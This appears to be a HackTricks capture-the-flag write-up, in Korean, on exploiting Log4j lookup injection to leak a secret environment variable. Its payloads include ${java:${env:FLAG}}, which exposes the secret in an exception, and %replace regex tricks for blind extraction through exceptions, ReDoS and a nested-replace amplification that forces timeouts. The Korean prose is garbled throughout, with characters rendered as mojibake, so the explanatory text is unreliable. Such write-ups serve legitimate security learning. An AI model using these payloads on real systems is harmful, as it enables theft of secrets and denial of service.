<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

์ด CTF์—์„œ ๊ณต๊ฒฉ์ž๋Š” ${sys:cmd}์˜ ๊ฐ’์„ ์ œ์–ดํ•˜๊ณ  ํ™˜๊ฒฝ ๋ณ€์ˆ˜์—์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์œ ์ถœํ•ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค.
์ด ํŽ˜์ด์ง€์˜ ์ด์ „ ํŽ˜์ด๋กœ๋“œ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด, **${env:FLAG}**์™€ ๊ฐ™์€ ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ์ ‘๊ทผํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด CTF์—์„œ๋Š” ์“ธ๋ชจ๊ฐ€ ์—†์—ˆ์ง€๋งŒ ๋‹ค๋ฅธ ์‹ค์ œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Exfiltration in Exceptions

CTF์—์„œ๋Š” log4J๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์ž๋ฐ” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ stderr์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์—ˆ์ง€๋งŒ, Log4J ์˜ˆ์™ธ๋Š” stdout์œผ๋กœ ์ „์†ก๋˜์—ˆ๊ณ , ์ด๋Š” ํŒŒ์ด์ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ถœ๋ ฅ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ ๋‚ด์šฉ์„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ–ˆ์Šต๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ๋ฅผ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•œ ์˜ˆ์™ธ๋Š”: ${java:${env:FLAG}}. ์ด๋Š” **${java:CTF{blahblah}}**๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์ž‘๋™ํ•˜๋ฉฐ, ํ”Œ๋ž˜๊ทธ์˜ ๊ฐ’์ด ์žˆ๋Š” ์˜ˆ์™ธ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค:

Conversion Patterns Exceptions

์–ธ๊ธ‰ํ•˜์ž๋ฉด, ์ƒˆ๋กœ์šด ๋ณ€ํ™˜ ํŒจํ„ด์„ ์ฃผ์ž…ํ•˜๊ณ  stdout์— ๊ธฐ๋ก๋  ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

์ด๊ฒƒ์€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ๋‚ด์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ๋ณ€ํ™˜ ํŒจํ„ด ์ด์ „์— ์กฐํšŒ๊ฐ€ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์ด์ง€๋งŒ, ํƒ์ง€์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ์šฉ๋„๋กœ๋Š” ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Conversion Patterns Regexes

๊ทธ๋Ÿฌ๋‚˜, ์ •๊ทœ ํ‘œํ˜„์‹์„ ์ง€์›ํ•˜๋Š” ๋ณ€ํ™˜ ํŒจํ„ด์„ ์‚ฌ์šฉํ•˜์—ฌ ์ •๊ทœ ํ‘œํ˜„์‹์„ ์ด์šฉํ•ด ์กฐํšŒ์—์„œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๊ณ  ์ด์ง„ ๊ฒ€์ƒ‰ ๋˜๋Š” ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ ๋™์ž‘์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

  • ์˜ˆ์™ธ ๋ฉ”์‹œ์ง€๋ฅผ ํ†ตํ•œ ์ด์ง„ ๊ฒ€์ƒ‰

๋ณ€ํ™˜ ํŒจํ„ด **%replace**๋Š” ์ •๊ทœ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ž์—ด์˜ ๋‚ด์šฉ์„ ๋Œ€์ฒดํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž‘๋™ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: replace{pattern}{regex}{substitution}
์ด ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ ์ •๊ทœ ํ‘œํ˜„์‹์ด ๋ฌธ์ž์—ด ๋‚ด์˜ ์–ด๋–ค ๊ฒƒ๊ณผ๋„ ์ผ์น˜ํ•˜๋ฉด ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ณ  ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์œผ๋ฉด ์˜ˆ์™ธ๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜

์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, **%replace**๋Š” regexes๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ฐœ๊ฒฌ๋  ๊ฒฝ์šฐ ํƒ€์ž„์•„์›ƒ์„ ์œ ๋ฐœํ•˜๊ธฐ ์œ„ํ•ด ReDoS ํŽ˜์ด์ง€์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd}์™€ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋Š” ํ•ด๋‹น CTF์—์„œ ํƒ€์ž„์•„์›ƒ์„ ์œ ๋ฐœํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด writeup์—์„œ๋Š” ReDoS ๊ณต๊ฒฉ ๋Œ€์‹  ์ฆํญ ๊ณต๊ฒฉ์„ ์‚ฌ์šฉํ•˜์—ฌ ์‘๋‹ต์˜ ์‹œ๊ฐ„ ์ฐจ์ด๋ฅผ ์œ ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

ํ”Œ๋ž˜๊ทธ๊ฐ€ flagGuess๋กœ ์‹œ์ž‘ํ•˜๋ฉด ์ „์ฒด ํ”Œ๋ž˜๊ทธ๋Š” 29๊ฐœ์˜ #๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค (์ด ๋ฌธ์ž๋Š” ํ”Œ๋ž˜๊ทธ์˜ ์ผ๋ถ€๊ฐ€ ์•„๋‹ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค). ๊ฒฐ๊ณผ์ ์œผ๋กœ 29๊ฐœ์˜ #๋Š” ๊ฐ๊ฐ 54๊ฐœ์˜ #๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ 6๋ฒˆ ๋ฐ˜๋ณต๋˜์–ด ์ด 29*54*54^6* =`` ``96816014208 #๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค!

์ด๋ ‡๊ฒŒ ๋งŽ์€ #๋ฅผ ๋Œ€์ฒดํ•˜๋ฉด Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ 10์ดˆ ํƒ€์ž„์•„์›ƒ์ด ๋ฐœ์ƒํ•˜์—ฌ HTTP ์ƒํƒœ ์ฝ”๋“œ 500์ด ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. (ํ”Œ๋ž˜๊ทธ๊ฐ€ flagGuess๋กœ ์‹œ์ž‘ํ•˜์ง€ ์•Š์œผ๋ฉด 500์ด ์•„๋‹Œ ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค)

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ